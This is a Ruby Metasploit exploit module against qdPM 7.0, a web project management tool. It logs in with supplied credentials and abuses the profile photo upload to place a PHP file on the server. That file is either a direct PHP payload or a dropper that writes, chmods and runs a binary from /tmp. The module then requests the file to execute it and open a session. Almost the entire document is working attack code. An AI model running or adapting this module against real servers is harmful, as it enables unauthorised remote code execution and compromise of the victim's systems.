qdPM 7.0 - Arbitrary '.PHP' File Upload (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability found in qdPM - a web-based project management
				software. The user profile's photo upload feature can be abused to upload any
				arbitrary file onto the victim server machine, which allows remote code execution.
				Please note in order to use this module, you must have a valid credential to sign
				in.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'loneferret', #Discovery, PoC
					'sinn3r'      #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '82978'],
					['EDB', '19154']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => ['linux', 'php'],
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 14 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
				OptString.new('USERNAME',  [true, 'The username to login with']),
				OptString.new('PASSWORD',  [true, 'The password to login with'])
			], self.class)
	end

	def check
		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		base = File.dirname("#{target_uri.path}.")

		res = send_request_raw({'uri'=>"#{base}/index.php"})
		if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
			major, minor = $1, $2
			return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70
		end

		return Exploit::CheckCode::Safe
	end

	def get_write_exec_payload(fname, data)
		p = Rex::Text.encode_base64(generate_payload_exe)
		php = %Q|
		<?php
		$f = fopen("#{fname}", "wb");
		fwrite($f, base64_decode("#{p}"));
		fclose($f);
		exec("chmod 777 #{fname}");
		exec("#{fname}");
		?>
		|
		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
		return php
	end

	def on_new_session(cli)
		if cli.type == "meterpreter"
			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
		end

		@clean_files.each do |f|
			print_status("#{@peer} - Removing: #{f}")
			begin
				if cli.type == 'meterpreter'
					cli.fs.file.rm(f)
				else
					cli.shell_command_token("rm #{f}")
				end
			rescue ::Exception => e
				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
			end
		end
	end

	def login(base, username, password)
		# Login
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{base}/index.php/home/login",
			'vars_post' => {
				'login[email]'    => username,
				'login[password]' => password,
				'http_referer'    => ''
			},
			# This needs to be set, otherwise we get two cookies... I don't need two cookies.
			'cookie'     => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
			'headers'   => {
				'Origin' => "http://#{rhost}",
				'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
			}
		})

		cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
		return {} if cookie.empty?
		cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]

		# Get user data
		vprint_status("#{@peer} - Enumerating user data")
		res = send_request_raw({
			'uri' => "#{base}/index.php/home/myAccount",
			'cookie' => cookie
		})

		return {} if not res
		if res.code == 404
			print_error("#{@peer} - #{username} does not actually have a 'myAccount' page")
			return {}
		end

		b = res.body

		user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || ''
		group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || ''
		user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || ''

		opts = {
			'cookie'     => cookie,
			'user_id'     => user_id,
			'group_id'    => group_id,
			'user_active' => user_active
		}

		return opts
	end

	def upload_php(base, opts)
		fname       = opts['filename']
		php_payload = opts['data']
		user_id     = opts['user_id']
		group_id    = opts['group_id']
		user_active = opts['user_active']
		username    = opts['username']
		email       = opts['email']
		cookie      = opts['cookie']

		data = Rex::MIME::Message.new
		data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
		data.add_part('put', nil, nil, 'form-data; name="sf_method"')
		data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
		data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
		data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
		data.add_part('', nil, nil, 'form-data; name="users[skin]"')
		data.add_part(username, nil, nil, 'form-data; name="users[name]"')
		data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
		data.add_part('', nil, nil, 'form-data; name="preview_photo"')
		data.add_part(email, nil, nil, 'form-data; name="users[email]"')
		data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
		data.add_part('', nil, nil, 'form-data; name="new_password"')

		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}/index.php/home/myAccount",
			'ctype'   => "multipart/form-data; boundary=#{data.bound}",
			'data'    => post_data,
			'cookie'  => cookie,
			'headers' => {
				'Origin' => "http://#{rhost}",
				'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
			}
		})

		return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
	end

	def exec_php(base, opts)
		cookie = opts['cookie']

		# When we upload a file, it will be renamed. The 'myAccount' page has that info.
		res = send_request_cgi({
			'uri'    => "#{base}/index.php/home/myAccount",
			'cookie' => cookie
		})

		if not res
			print_error("#{@peer} - Unable to request the file")
			return
		end

		fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || ''
		if fname.empty?
			print_error("#{@peer} - Unable to extract the real filename")
			return
		end

		# Now that we have the filename, request it
		print_status("#{@peer} - Uploaded file was renmaed as '#{fname}'")
		send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
		handler
	end

	def exploit
		@peer = "#{rhost}:#{rport}"

		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		base = File.dirname("#{target_uri.path}.")

		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		print_status("#{@peer} - Attempt to login with '#{user}:#{pass}'")
		opts = login(base, user, pass)
		if opts.empty?
			print_error("#{@peer} - Login unsuccessful")
			return
		end

		php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
		@clean_files = [php_fname]

		case target['Platform']
		when 'php'
			p = "<?php #{payload.encoded} ?>"
		when 'linux'
			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
			@clean_files << bin_name
			bin = generate_payload_exe
			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
		end

		print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
		opts = opts.merge({
			'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
			'email'    => user,
			'filename' => php_fname,
			'data'     => p
		})
		uploader = upload_php(base, opts)
		if not uploader
			print_error("#{@peer} - Unable to upload")
			return
		end

		print_status("#{@peer} - Executing '#{php_fname}'")
		exec_php(base, opts)
	end
end